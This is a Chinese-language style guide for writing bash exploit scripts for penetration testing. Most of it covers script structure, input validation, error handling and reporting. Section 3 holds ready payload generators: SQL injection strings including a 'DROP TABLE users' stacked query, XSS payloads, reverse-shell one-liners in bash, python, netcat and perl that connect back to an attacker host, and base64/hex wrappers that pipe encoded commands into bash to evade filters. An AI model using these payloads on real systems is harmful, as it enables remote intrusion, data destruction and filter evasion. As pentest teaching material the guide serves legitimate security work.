漏洞利用脚本编写规范
概述
漏洞利用脚本是渗透测试中的核心工具。一份规范的脚本不仅需要具备功能正确性,还需要考虑可维护性、可移植性和安全性。本文档详细阐述 bash 环境下编写漏洞利用脚本的标准流程和最佳实践。
核心理念
- 最小权限原则:脚本只请求完成任务所需的最少权限
- 幂等性:多次执行产生相同结果,不会破坏目标状态
- 可回滚性:每个操作都应有对应的回滚机制
- 日志记录:所有关键操作必须留痕
1. 漏洞利用脚本结构
1.1 标准模板
#!/usr/bin/env bash
#
# 漏洞利用脚本模板
# CVE-XXXX-XXXXX
# 用法: ./exploit.sh -t <target> [options]
#
set -euo pipefail
readonly SCRIPT_NAME="$(basename "$0")"
readonly SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
readonly VERSION="1.0.0"
readonly TIMEOUT=30
readonly MAX_RETRIES=3
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
VERBOSE=false
FORCE=false
TARGET=""
PORT=80
PROXY=""
OUTPUT_FILE=""
log_info() { echo -e "${BLUE}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn() { echo -e "${YELLOW}[!]${NC} $*" >&2; }
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
log_debug() { [[ "$VERBOSE" == true ]] && echo -e "${YELLOW}[D]${NC} $*" >&2; }
banner() {
cat << 'BANNER'
_____ _ _ _____ _
| ___|__ __| |___| |__ | ____|_ _ ___ _ _ __| |
| |_ / _ \| '__| / __| '_ \ | _| | | | |/ _ \ | | |/ _` |
| _| (_) | | | \__ \ | | || |___| |_| | __/ |_| | (_| |
|_| \___/|_| |_|___/_| |_||_____|\__, |\___|\__,_|\__,_|
|___/
BANNER
}
check_dependencies() {
local deps=("curl" "awk" "sed" "grep")
local missing=()
for dep in "${deps[@]}"; do
command -v "$dep" &>/dev/null || missing+=("$dep")
done
if [[ ${#missing[@]} -gt 0 ]]; then
log_error "缺少依赖: ${missing[*]}"
exit 1
fi
}
cleanup() {
local exit_code=$?
log_debug "清理临时文件..."
rm -f /tmp/exploit_tmp_* 2>/dev/null
return $exit_code
}
trap cleanup EXIT
trap 'log_error "收到中断信号"; exit 130' INT TERM
usage() {
cat << EOF
用法: $SCRIPT_NAME [选项]
-t, --target TARGET 目标地址 (必须)
-p, --port PORT 目标端口 (默认: 80)
-x, --proxy PROXY 代理地址
-o, --output FILE 输出到文件
-v, --verbose 详细输出
-f, --force 强制执行
-h, --help 帮助信息
EOF
exit 0
}
parse_args() {
while [[ $# -gt 0 ]]; do
case "$1" in
-t|--target) TARGET="$2"; shift 2 ;;
-p|--port) PORT="$2"; shift 2 ;;
-x|--proxy) PROXY="$2"; shift 2 ;;
-o|--output) OUTPUT_FILE="$2"; shift 2 ;;
-v|--verbose) VERBOSE=true; shift ;;
-f|--force) FORCE=true; shift ;;
-h|--help) usage ;;
*) log_error "未知参数: $1"; usage ;;
esac
done
[[ -z "$TARGET" ]] && { log_error "必须指定目标"; usage; }
}
main() {
banner
parse_args "$@"
check_dependencies
log_info "目标: ${TARGET}:${PORT}"
log_info "开始漏洞利用..."
log_success "完成"
}
main "$@"1.2 模块化目录结构
exploit-project/
├── exploit.sh
├── lib/
│ ├── common.sh
│ ├── network.sh
│ ├── payload.sh
│ └── report.sh
├── payloads/
│ ├── linux_x86.bin
│ └── linux_x64.bin
├── configs/
│ └── defaults.conf
├── output/
└── docs/
└── README.md
2. 输入验证
2.1 目标地址验证
validate_ip() {
local ip="$1"
local IFS='.'
read -ra octets <<< "$ip"
[[ ${#octets[@]} -ne 4 ]] && return 1
for octet in "${octets[@]}"; do
[[ ! "$octet" =~ ^[0-9]+$ ]] && return 1
(( octet < 0 || octet > 255 )) && return 1
done
return 0
}
validate_domain() {
local domain="$1"
[[ "$domain" =~ ^([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$ ]]
}
validate_url() {
local url="$1"
[[ "$url" =~ ^https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/.*)?$ ]]
}
validate_target() {
local target="$1"
if validate_ip "$target"; then return 0
elif validate_domain "$target"; then return 0
elif validate_url "$target"; then return 0
fi
log_error "无效的目标地址: $target"
return 1
}2.2 端口验证与范围解析
validate_port() {
local port="$1"
[[ "$port" =~ ^[0-9]+$ ]] && (( port >= 1 && port <= 65535 ))
}
parse_port_range() {
local port_spec="$1"
local ports=()
if [[ "$port_spec" =~ ^([0-9]+)-([0-9]+)$ ]]; then
local start="${BASH_REMATCH[1]}"
local end="${BASH_REMATCH[2]}"
for ((i=start; i<=end; i++)); do
ports+=("$i")
done
else
IFS=',' read -ra ports <<< "$port_spec"
fi
printf '%s\n' "${ports[@]}"
}2.3 输入清理(防注入)
sanitize_input() {
local input="$1"
echo "$input" | tr -d '`$(){}[]|;&<>\n\r'
}
# 白名单验证
validate_alphanumeric() {
[[ "$1" =~ ^[a-zA-Z0-9._-]+$ ]]
}3. Payload 构造
3.1 URL 编码
url_encode() {
local string="$1"
local length=${#string}
local encoded=""
local c
for ((i=0; i<length; i++)); do
c="${string:$i:1}"
case "$c" in
[a-zA-Z0-9.~_-]) encoded+="$c" ;;
' ') encoded+="%20" ;;
*) encoded+=$(printf '%%%02X' "'$c") ;;
esac
done
echo "$encoded"
}3.2 SQL 注入 Payload
build_sqli_payload() {
local param="$1"
local payload_type="$2"
case "$payload_type" in
union)
echo "' UNION SELECT 1,2,3,4,5-- -"
;;
error)
echo "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -"
;;
blind)
echo "' AND (SELECT LENGTH(version()))=5-- -"
;;
stacked)
echo "'; DROP TABLE users;--"
;;
esac
}3.3 XSS Payload
build_xss_payload() {
local payload_type="$1"
case "$payload_type" in
basic) echo '<script>alert(1)</script>' ;;
img) echo '<img src=x onerror=alert(1)>' ;;
svg) echo '<svg onload=alert(1)>' ;;
event) echo '<body onload=alert(1)>' ;;
esac
}3.4 反弹 Shell Payload
reverse_shell_payload() {
local lhost="$1"
local lport="$2"
local shell_type="${3:-bash}"
case "$shell_type" in
bash)
echo "bash -i >& /dev/tcp/${lhost}/${lport} 0>&1"
;;
python)
echo "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"${lhost}\",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
;;
nc)
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f"
;;
perl)
echo "perl -e 'use Socket;\$i=\"${lhost}\";\$p=${lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S");open(STDOUT,\">&S");open(STDERR,\">&S");exec(\"/bin/sh -i\");};'"
;;
esac
}3.5 Base64 绕过
bypass_base64() {
local command="$1"
local encoded=$(echo -n "$command" | base64)
echo "echo $encoded | base64 -d | bash"
}
bypass_hex() {
local command="$1"
local hex=$(echo -n "$command" | xxd -p | tr -d '\n')
echo "echo $hex | xxd -r -p | bash"
}4. 错误处理
4.1 错误码与统一处理
readonly E_SUCCESS=0
readonly E_GENERAL=1
readonly E_PERMISSION=2
readonly E_NETWORK=3
readonly E_TIMEOUT=4
readonly E_TARGET=5
handle_error() {
local exit_code=$1
local line_number=$2
local message="${3:-未知错误}"
log_error "错误 [退出码: $exit_code] 在第 $line_number 行: $message"
case $exit_code in
$E_NETWORK) log_info "网络连接失败" ;;
$E_TIMEOUT) log_info "操作超时" ;;
$E_TARGET) log_info "目标不可达" ;;
$E_PERMISSION) log_info "权限不足" ;;
esac
cleanup
exit $exit_code
}
trap 'handle_error $? $LINENO "命令执行失败"' ERR4.2 重试机制
retry() {
local max_attempts=$1
local delay=$2
shift 2
local cmd=("$@")
local attempt=1
while (( attempt <= max_attempts )); do
if "${cmd[@]}"; then
return 0
fi
log_warn "尝试 $attempt/$max_attempts 失败,${delay}秒后重试..."
sleep "$delay"
((attempt++))
done
log_error "所有 $max_attempts 次尝试均失败"
return 1
}4.3 超时处理
with_timeout() {
local timeout=$1
shift
local cmd=("$@")
if timeout "$timeout" "${cmd[@]}"; then
return 0
fi
local exit_code=$?
(( exit_code == 124 )) && log_warn "命令执行超时 (${timeout}秒)"
return $exit_code
}5. 输出格式
5.1 结构化报告
generate_report() {
local target="$1"
local vuln_count="$2"
local output_file="${3:-report_$(date +%Y%m%d_%H%M%S).txt}"
cat > "$output_file" << EOF
============================================
漏洞利用报告
============================================
目标: $target
时间: $(date '+%Y-%m-%d %H:%M:%S')
漏洞数: $vuln_count
============================================
EOF
log_success "报告已生成: $output_file"
}
# JSON 输出
output_json() {
local target="$1"
local status="$2"
local findings="$3"
cat << EOF
{"target":"$target","status":"$status","findings":$findings,"timestamp":"$(date -Iseconds)"}
EOF
}5.2 彩色终端输出
print_banner() {
local text="$1"
local color="${2:-$GREEN}"
local width=60
echo ""
echo -e "${color}$(printf '=%.0s' $(seq 1 $width))${NC}"
echo -e "${color} ${text}${NC}"
echo -e "${color}$(printf '=%.0s' $(seq 1 $width))${NC}"
echo ""
}
print_table() {
local -a headers=("$@")
local sep=""
for header in "${headers[@]}"; do
printf "| %-15s " "$header"
sep+="+-------------------"
done
echo "|"
echo "$sep+"
}6. 模块化设计
6.1 模块加载器
MODULES_DIR="${SCRIPT_DIR}/lib"
declare -A LOADED_MODULES=()
load_module() {
local module="$1"
local module_file="${MODULES_DIR}/${module}.sh"
if [[ ! -f "$module_file" ]]; then
log_error "模块不存在: $module"
return 1
fi
if [[ -v "LOADED_MODULES[$module]" ]]; then
return 0
fi
source "$module_file"
LOADED_MODULES["$module"]=1
log_debug "已加载模块: $module"
}
# 使用
load_module "network"
load_module "payload"6.2 插件式架构
declare -A PLUGINS=()
declare -A PLUGIN_ENABLED=()
register_plugin() {
local name="$1"
local handler="$2"
local description="${3:-无描述}"
PLUGINS["$name"]="$handler"
PLUGIN_ENABLED["$name"]=true
}
execute_plugin() {
local name="$1"
shift
[[ "${PLUGIN_ENABLED[$name]:-false}" != "true" ]] && return 0
local handler="${PLUGINS[$name]}"
[[ -z "$handler" ]] && { log_error "未知插件: $name"; return 1; }
"$handler" "$@"
}
# 使用
register_plugin "sqli_check" sql_injection_scan "SQL注入检测"
register_plugin "xss_check" xss_scan "XSS检测"
execute_plugin "sqli_check" "$TARGET"7. 安全注意事项
7.1 临时文件安全
create_secure_temp() {
local template="$1"
local tmpfile
tmpfile=$(mktemp "$template") || { log_error "无法创建临时文件"; return 1; }
chmod 600 "$tmpfile"
echo "$tmpfile"
}7.2 敏感信息清除
clear_sensitive() {
local var_name="$1"
eval "$var_name=''"
unset "$var_name"
}
clear_sensitive "API_KEY"
clear_sensitive "PASSWORD"7.3 日志脱敏
log_anonymize() {
local data="$1"
data=$(echo "$data" | sed -E 's/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/x.x.x.x/g')
echo "$data"
}8. 测试与调试
TESTS_RUN=0
TESTS_PASSED=0
TESTS_FAILED=0
assert_equals() {
local description="$1"
local expected="$2"
local actual="$3"
((TESTS_RUN++))
if [[ "$expected" == "$actual" ]]; then
((TESTS_PASSED++))
echo -e "${GREEN}PASS${NC}: $description"
else
((TESTS_FAILED++))
echo -e "${RED}FAIL${NC}: $description"
echo " 期望: $expected"
echo " 实际: $actual"
fi
}
print_test_results() {
echo ""
echo "测试结果: $TESTS_PASSED/$TESTS_RUN 通过"
(( TESTS_FAILED > 0 )) && exit 1
}总结
编写高质量的漏洞利用脚本需要遵循严格的规范:
- 结构清晰:统一的脚本模板和模块化设计
- 输入验证:对所有外部输入进行严格验证
- Payload 构造:灵活的 Payload 生成能力
- 错误处理:完善的异常捕获和恢复机制
- 输出规范:结构化的结果输出格式
- 安全第一:注意临时文件、敏感信息和日志安全
遵循这些规范可以编写出专业、可靠、安全的漏洞利用脚本。